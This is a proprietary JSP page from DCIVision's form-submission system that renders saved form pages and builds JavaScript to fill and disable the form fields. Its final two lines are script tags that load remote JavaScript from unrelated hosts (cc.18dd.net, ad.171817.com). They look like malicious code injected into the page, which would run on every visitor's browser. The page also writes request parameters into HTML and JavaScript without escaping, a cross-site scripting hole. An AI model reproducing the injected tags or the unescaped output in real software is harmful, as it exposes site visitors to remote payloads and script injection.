<%
/*
 * @(#)EditFormPageSubmission.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditFormPageSubmission.jsp

  This class is reflecting business logic uses.

    @author           Vera Wang
    @company          DCIVision Limited
    @creation date    06/08/2004
    @version          $Revision: 1.13.2.6 $
*/
%>
<%@ page contentType="text/html;charset=UTF-8"%>
<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ page import="java.io.*" %>
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.*"%>
<%@ page import="com.dcivision.form.bean.*"%>
<%@ page import="com.dcivision.form.dao.*"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintFormSubmissionForm" scope="request" class="com.dcivision.form.web.MaintFormSubmissionForm"/>
<script language="Javascript" src="<%= request.getContextPath() %>/js/FormAttachment.jsp" charset="UTF-8" type="text/javascript"></script>

<%
  String LIST_NAME = "formPageList";
  Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
  Integer submissionID;
  String formSubmissionID = request.getParameter("formSubmissionID");

  int pageListSize =0;
  List formPageList = (List)request.getAttribute("formPageListName");
  if (request.getAttribute("formPageListName")!=null) {
    pageListSize = formPageList.size();
  }
%>
<link media="all" href="<%= request.getContextPath() %>/theme/pref<%= sessionContainer.getPreference() %>/css/lang/<%= sessionContainer.getSessionLocale().toString() %>/GlobalStyle.css" charset="UTF-8" type="text/css" rel="stylesheet">
<html:form action="form/MaintFormSubmission">
<html:javascript formName="maintFormSubmissionForm" method="ValidateForm" dynamicJavascript="true" staticJavascript="false"/>
<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/

   String FIELD_HEADER = "FB_FIELD_";

   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);

   String sPreviewValue = (String)request.getAttribute("preview");

   String exportFunction = (String)request.getAttribute("exportFunction");

   String sCurFunctionCode = SystemFunctionConstant.FORM_SUBMISSION;

   String functionType = "";
   if(sPreviewValue != null)
     functionType="common.label.form_action_preview";
   else
     functionType="common.label.form_action_new";

   Integer pageID = new Integer(1);
   Integer sectionID = new Integer(1);

  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/

   Map alignment = new TreeMap();
   alignment.put("default", "left");
   alignment.put(FormElement.LABEL_POSITION_LEFT, "left");
   alignment.put(FormElement.LABEL_POSITION_RIGHT, "right");
   alignment.put(FormElement.LABEL_POSITION_CENTER, "center");
%>

<html:hidden property='opMode'/>
<html:hidden property='navMode'/>

<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<input type="hidden" name="formRecordID" value='<%=request.getParameter("formRecordID")%>'/>
<input type="hidden" name="function" value='<%=request.getParameter("function")%>'/>

<!-- Page Title Section -->
<table width="650" border="0" cellspacing="1" cellpadding="0">
  <tr>
    <td colspan="2">
      <table width="100%" border="0" cellspacing="0" cellpadding="0">
        <tr>
          <td align="right"><b><font color='red'>*</font> <bean:message key='common.label.mandatory'/></b></td>
        </tr>
      </table>
    </td>
  </tr>
  <!--//@@ snapshot -->
  <Tr><td colspan="2"><html:img src="LayoutSpacer.gif"  height="20" width="1"/></td></tr>
  <tr>
    <td colspan="2">
<!-- ************************************** Start of Form Border ********************************** -->
<%for (int pp=0; pp<formPageList.size(); pp++){
    FormPage formPage = (FormPage)formPageList.get(pp);
    pageID = formPage.getID();
%>
<!--########################### Page <%=pp%> Table Begin ############################### -->
<table border=0 cellspacing="0" cellpadding="0" width="100%">
    <tr align="left">
        <td valign="top" width="100%">
<!-- ************************************** Start of Form Content ********************************** -->
        <table width="100%" border="0">
            <tr>
              <td valign="top" align="right"><bean:message key='form.label.page'/><%=pp+1%></td>
            </tr>
            <tr>
                <td valign="top" align='<%=alignment.get(TextUtility.noNull(formPage.gettitlePosition(), "default"))%>'>
                <font style="<%=resolveFontStyle(formPage.getTitleFontStyle(),formPage.getTitleFontSize(),formPage.getTitleFontType(),formPage.getTitleFontColor())%>"><%=formPage.getTitle()%></font>&nbsp;
                </td>
            </tr>
            <tr>
              <td align="center">&nbsp;</td>
            </tr>
        </table>
<%
  //get the form section list

  Integer elementID;
  List formSectionList = formPage.getFormSectionList();
  FormSubmissionHtmlDAObject formSubmissionHtmlDAO = new FormSubmissionHtmlDAObject(sessionContainer, conn);
  for (int i=0; i<formSectionList.size(); i++) {
    FormSection tmpFormSection = (FormSection) formSectionList.get(i);
    sectionID = tmpFormSection.getID();
    FormSubmissionHtml formSubmissionHtml = (FormSubmissionHtml)formSubmissionHtmlDAO.getByRecordIDPageIDSectionID(new Integer(request.getParameter("formRecordID")),pageID,sectionID);
    if ("DMS".equals(exportFunction) && "Y".equals(tmpFormSection.getSubSection())){
      continue;
    }

    /**
     * This block of code fix the wrong row index problem
     */
    String originalHTML =(String)formSubmissionHtml.getPageHtml();
    /** End of adjustment */
%>
        <!--BEGIN SectionID<%=tmpFormSection.getID()%>-->
<%=originalHTML%>
        <!--END SectionID<%=tmpFormSection.getID()%>-->
<%}%>
<!--########################### Page <%=pp%> Table End ############################### -->
<%}%>
        </td>
    </tr>
</table>

<table width="780" cellpadding="0" cellspacing="2" border="0" align="left">
  <!-- Section Header -->

    <tr>
    <td colspan="2"><layout:auditTrail/></td>
  </tr>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif"  width="1" height="10"/></td>
  </tr>

  <tr>
    <td colspan="2" align="center"><br>
<%  if(sPreviewValue == null && !GlobalConstant.NAV_MODE_VIEW.equals(maintFormSubmissionForm.getNavMode() )){  %>
        <html:standardButton label="common.label.save" onClick="return OpCustSave()"/>
<%  } else if (GlobalConstant.NAV_MODE_VIEW.equals(maintFormSubmissionForm.getNavMode() )) {%>
        <%if (("FORMTRACKING".equals(request.getParameter("function")) ||
                    "FORMMONITOR".equals(request.getParameter("function"))) &&
                    !GlobalConstant.OP_MODE_DELETE.equals(maintFormSubmissionForm.getOpMode()) ) {%>
        <html:permissionButton label="common.label.delete" right="D" onClick="return OpDelete()"/>
        <%} else {%>
        <%}%>
<%  }else{  %>
<%}%>
    </td>
  </tr>
</table>
 </td></tr></table>


<SCRIPT ID=clientEventHandlersJS LANGUAGE=javascript>

<%
 if ("DMS".equals(exportFunction) || "WORKFLOW".equals(exportFunction)){
    //get the form section list
  Integer tmpelementID;
  for (int pp=0; pp<formPageList.size(); pp++){
    FormPage formPage = (FormPage)formPageList.get(pp);
    pageID = formPage.getID();
    List formSectionList1 = formPage.getFormSectionList();

    for (int ii=0; ii<formSectionList1.size(); ii++) {
    FormSection tmpFormSection = (FormSection) formSectionList1.get(ii);
    sectionID = tmpFormSection.getID();
    String subSection = (String)tmpFormSection.getSubSection();

  if ("DMS".equals(exportFunction) && subSection.equals("Y") ){
    continue;
  }
    //get form element list under a form section
    List formElementList = tmpFormSection.getFormElementList();
    for (int j=0; j<formElementList.size(); j++) {

      FormElement tmpFormElement = (FormElement) formElementList.get(j);
      tmpelementID = tmpFormElement.getID();
      String fieldName = FIELD_HEADER+pageID+"_"+sectionID+"_"+tmpelementID;
     //get the element value from Form_Data_Element
      String elementValue = "";
      String formDataIDStr = "";

      if(!Utility.isEmpty(formSubmissionID)  ){
        submissionID = Integer.valueOf(formSubmissionID);
        FormDataElementDAObject formDataElementDAO = new FormDataElementDAObject(sessionContainer,conn);

        FormDataDAObject formDataDAO = new FormDataDAObject(sessionContainer,conn);

        Integer formDataSeqNo = new Integer(-1);
        try {
          List formDataList = formDataElementDAO.getElementValueByPageIDSectionIDSubmissionIDElementID(pageID,sectionID,submissionID,tmpelementID);

          for (int kk=0;kk<formDataList.size();kk++) {
            FormData formData = (FormData)formDataList.get(kk);
            if (kk>0) {
              elementValue += ",";
            }

              elementValue += (!"null".equals(formData.getDataString()) && !Utility.isEmpty(formData.getDataString())) ? formData.getDataString() : "";
              if(FormElementType.isText(tmpFormElement.getElementType())){
                  if (FormElementType.ELEMENT_DATE_PICKER.equals(tmpFormElement.getElementType())){
                  String tmpDate = "";
                  if (!Utility.isEmpty(TextUtility.parseDBDateTime(elementValue))){
                    tmpDate = TextUtility.parseDBDateTime(elementValue);
                  }

                  %>

                    document.maintFormSubmissionForm.<%=fieldName%>.disabled=true;
                    document.maintFormSubmissionForm.dummy_<%=fieldName%>.disabled=true;
                    document.maintFormSubmissionForm.dummy_<%=fieldName%>.value ="<%=tmpDate%>";
                    document.maintFormSubmissionForm.<%=fieldName%>.value ="<%=tmpDate%>";
                  <%
                  }else{
              %>
                    document.maintFormSubmissionForm.<%=fieldName%>.disabled=true;
                    document.maintFormSubmissionForm.<%=fieldName%>.value ="<%if((!Utility.isEmpty(request.getParameter(fieldName))) && !"null".equals(request.getParameter(fieldName))) { out.print(request.getParameter(fieldName));}else{out.print(elementValue);}%>";
            <%
                 }
              }else if(FormElementType.isSelection(tmpFormElement.getElementType())){
                  FormSelectionField tmpformSelectionField = tmpFormElement.getFormSelectionField();
              List tmpformSelectionFieldOptionList = tmpformSelectionField.getFormSelectionFieldOptionList();
          for (int k=0; k<tmpformSelectionFieldOptionList.size(); k++) {
                    FormSelectionFieldOption tmpFormSelectionFieldOption = (FormSelectionFieldOption) tmpformSelectionFieldOptionList.get(k);
            // Is import then disable the radio or check or select.
            if(FormElementType.ELEMENT_SELECTION_BOX.equals(tmpFormElement.getElementType())){
               %>
                   document.maintFormSubmissionForm.<%=fieldName%>.disabled=true;
                 <%
            }else if(FormElementType.ELEMENT_CHECK_BOX.equals(tmpFormElement.getElementType())){
                  %>
                    document.maintFormSubmissionForm.<%=fieldName%>_<%=tmpFormSelectionFieldOption.getID()%>.disabled=true;
                  <%
            }else {
                  %>
                    document.maintFormSubmissionForm.<%=fieldName%>[<%=tmpFormSelectionFieldOption.getStartValue()%>].disabled=true;
                  <%
            }
            //
            if(formData.getDataString().equals(tmpFormSelectionFieldOption.getStartValue())){
               if(FormElementType.ELEMENT_SELECTION_BOX.equals(tmpFormElement.getElementType())){

               %>
                  document.maintFormSubmissionForm.<%=fieldName%>.options[<%=tmpFormSelectionFieldOption.getStartValue()%>].selected = true;
               <%
               }else if(FormElementType.ELEMENT_CHECK_BOX.equals(tmpFormElement.getElementType())){

               %>
                  document.maintFormSubmissionForm.<%=fieldName%>_<%=tmpFormSelectionFieldOption.getID()%>.checked = true;
               <%
               }else {

               %>
                  document.maintFormSubmissionForm.<%=fieldName%>[<%=tmpFormSelectionFieldOption.getStartValue()%>].checked = true;
               <%
               }
            }

          }

              }
          }

        } catch (ApplicationException ae) {
          org.apache.commons.logging.LogFactory.getLog("FormDataDAObject").error("getByDataElementID error");
        }
       }

     }
   }
  }
 }
  %>



</SCRIPT>

</html:form>

<%!
private String resolveFontStyle(String fontStyle, String fontSize, String fontType, String fontColor){
    Integer size = null;
    if(!Utility.isEmpty(fontSize)){
        size = Integer.valueOf(fontSize);
    }
    return resolveFontStyle(fontStyle, size, fontType, fontColor);
}

private String resolveFontStyle(String fontStyle, Integer fontSize, String fontType, String fontColor){
    StringBuffer style = new StringBuffer();
    if(!Utility.isEmpty(fontStyle)){
        if (fontStyle.indexOf("B")>-1) {
          style.append("font-weight: bold;");
        }
        if (fontStyle.indexOf("U")>-1) {
          style.append("text-decoration: underline;");
        }
        if (fontStyle.indexOf("I")>-1) {
          style.append("font-style: italic;");
        }
    }
    if (!Utility.isEmpty(fontSize) && (fontSize.intValue() > 0)){
        style.append("font-size:"+fontSize.intValue()+"pt;");
    }
    if (!Utility.isEmpty(fontType)) {
        style.append("font-family:"+MessageResourcesFactory.getMessage(null, "form.label.element_fonts_"+fontType)+";");
    }
    if (!Utility.isEmpty(fontColor)) {
        style.append("color:"+fontColor+";");
    }
    return style.toString();
}
%>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>